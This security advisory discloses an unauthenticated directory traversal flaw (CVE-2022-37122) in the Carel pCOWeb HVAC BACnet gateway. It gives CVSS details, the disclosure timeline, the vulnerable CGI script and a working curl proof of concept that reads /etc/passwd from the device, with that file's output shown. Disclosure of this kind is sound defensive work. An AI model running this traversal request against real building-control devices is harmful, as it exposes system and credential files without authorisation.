Gjoko KrsticZSL-2022-5709Carel pCOWeb HVAC BACnet Gateway 2.1.0 Unauthenticated Directory Traversal
7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
0.015 Low
EPSS
Percentile
87.2%
Title: Carel pCOWeb HVAC BACnet Gateway 2.1.0 Unauthenticated Directory Traversal
Advisory ID: ZSL-2022-5709
Type: Local/Remote
Impact: Exposure of System Information, Exposure of Sensitive Information
Risk: (4/5)
Release Date: 30.06.2022
Summary
pCO sistema is the solution CAREL offers its customers for managing HVAC/R applications and systems. It consists of programmable controllers, user interfaces, gateways and communication interfaces, remote management systems to offer the OEMs working in HVAC/R a control system that is powerful yet flexible, can be easily interfaced to the more widely-used Building Management Systems, and can also be integrated into proprietary supervisory systems.
Description
The device suffers from an unauthenticated arbitrary file disclosure vulnerability. Input passed through the ‘file’ GET parameter through the ‘logdownload.cgi’ Bash script is not properly verified before being used to download log files. This can be exploited to disclose the contents of arbitrary and sensitive files via directory traversal attacks.
Vendor
CAREL INDUSTRIES S.p.A. - <https://www.carel.com>
Affected Version
Firmware: A2.1.0 - B2.1.0
Application Software: 2.15.4A
Software version: v16 13020200
Tested On
GNU/Linux 4.11.12 (armv7l)
thttpd/2.29
Vendor Status
[10.05.2022] Vulnerability discovered.
[27.05.2022] Vendor contacted.
[27.05.2022] Vendor responds creating request ID 00027344. Will come back soon with an answer.
[29.06.2022] No response from the vendor.
[30.06.2022] Public security advisory released.
PoC
Credits
Vulnerability discovered by Gjoko Krstic - <[email protected]>
References
[1] <https://packetstormsecurity.com/files/167684/>
[2] <https://exchange.xforce.ibmcloud.com/vulnerabilities/230273>
[3] <https://cxsecurity.com/issue/WLB-2022070011>
[4] <https://www.exploit-db.com/exploits/50986>
[5] <https://vulners.com/cve/CVE-2022-37122>
[6] <https://nvd.nist.gov/vuln/detail/CVE-2022-37122>
[7] <https://www.tenable.com/cve/CVE-2022-37122>
Changelog
[30.06.2022] - Initial release
[01.06.2022] - Added reference [1]
[02.06.2022] - Added reference [2]
[20.07.2022] - Added reference [3]
[29.07.2022] - Added reference [4]
[01.09.2022] - Added reference [5], [6] and [7]
Contact
Zero Science Lab
Web: <https://www.zeroscience.mk>
e-mail: [email protected]
<html><body><p>Carel pCOWeb HVAC BACnet Gateway 2.1.0 Unauthenticated Directory Traversal
Vendor: CAREL INDUSTRIES S.p.A.
Product web page: https://www.carel.com
Affected version: Firmware: A2.1.0 - B2.1.0
Application Software: 2.15.4A
Software version: v16 13020200
Summary: pCO sistema is the solution CAREL offers its customers for managing HVAC/R
applications and systems. It consists of programmable controllers, user interfaces,
gateways and communication interfaces, remote management systems to offer the OEMs
working in HVAC/R a control system that is powerful yet flexible, can be easily interfaced
to the more widely-used Building Management Systems, and can also be integrated into
proprietary supervisory systems.
Desc: The device suffers from an unauthenticated arbitrary file disclosure vulnerability.
Input passed through the 'file' GET parameter through the 'logdownload.cgi' Bash script
is not properly verified before being used to download log files. This can be exploited
to disclose the contents of arbitrary and sensitive files via directory traversal attacks.
=======================================================================================
/usr/local/www/usr-cgi/logdownload.cgi:
---------------------------------------
01: #!/bin/bash
02:
03: if [ "$REQUEST_METHOD" = "POST" ]; then
04: read QUERY_STRING
05: REQUEST_METHOD=GET
06: export REQUEST_METHOD
07: export QUERY_STRING
08: fi
09:
10: LOGDIR="/usr/local/root/flash/http/log"
11:
12: tmp=${QUERY_STRING%"$"*}
13: cmd=${tmp%"="*}
14: if [ "$cmd" = "dir" ]; then
15: PATHCURRENT=$LOGDIR/${tmp#*"="}
16: else
17: PATHCURRENT=$LOGDIR
18: fi
19:
20: tmp=${QUERY_STRING#*"$"}
21: cmd=${tmp%"="*}
22: if [ "$cmd" = "file" ]; then
23: FILECURRENT=${tmp#*"="}
24: else
25: if [ -f $PATHCURRENT/lastlog.csv.gz ]; then
26: FILECURRENT=lastlog.csv.gz
27: else
28: FILECURRENT=lastlog.csv
29: fi
30: fi
31:
32: if [ ! -f $PATHCURRENT/$FILECURRENT ]; then
33: echo -ne "Content-type: text/html\r\nCache-Control: no-cache\r\nExpires: -1\r\n\r\n"
34: cat carel.inc.html
35: echo "</p><center>File not available!</center>"
36: cat carel.bottom.html
37: exit
38: fi
39:
40: if [ -z $(echo $FILECURRENT | grep -i gz ) ]; then
41: if [ -z $(echo $FILECURRENT | grep -i bmp ) ]; then
42: if [ -z $(echo $FILECURRENT | grep -i svg ) ]; then
43: echo -ne "Content-Type: text/csv\r\n"
44: else
45: echo -ne "Content-Type: image/svg+xml\r\n"
46: fi
47: else
48: echo -ne "Content-Type: image/bmp\r\n"
49: fi
50: else
51: echo -ne "Content-Type: application/x-gzip\r\n"
52: fi
53: echo -ne "Content-Disposition: attachment; filename=$FILECURRENT\r\n\r\n"
54:
55: cat $PATHCURRENT/$FILECURRENT
=======================================================================================
Tested on: GNU/Linux 4.11.12 (armv7l)
thttpd/2.29
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2022-5709
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5709.php
10.05.2022
--
$ curl -s http://10.0.0.3/usr-cgi/logdownload.cgi?file=../../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/false
bin:x:2:2:bin:/bin:/bin/false
sys:x:3:3:sys:/dev:/bin/false
sync:x:4:100:sync:/bin:/bin/sync
mail:x:8:8:mail:/var/spool/mail:/bin/false
www-data:x:33:33:www-data:/var/www:/bin/false
operator:x:37:37:Operator:/var:/bin/false
nobody:x:65534:65534:nobody:/home:/bin/false
guest:x:502:101::/home/guest:/bin/bash
carel:x:500:500:Carel:/home/carel:/bin/bash
http:x:48:48:HTTP users:/usr/local/www/http:/bin/false
httpadmin:x:200:200:httpadmin:/usr/local/www/http:/bin/bash
sshd:x:1000:1001:SSH drop priv user:/:/bin/false
</body></html>Related
7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
0.015 Low
EPSS
Percentile
87.2%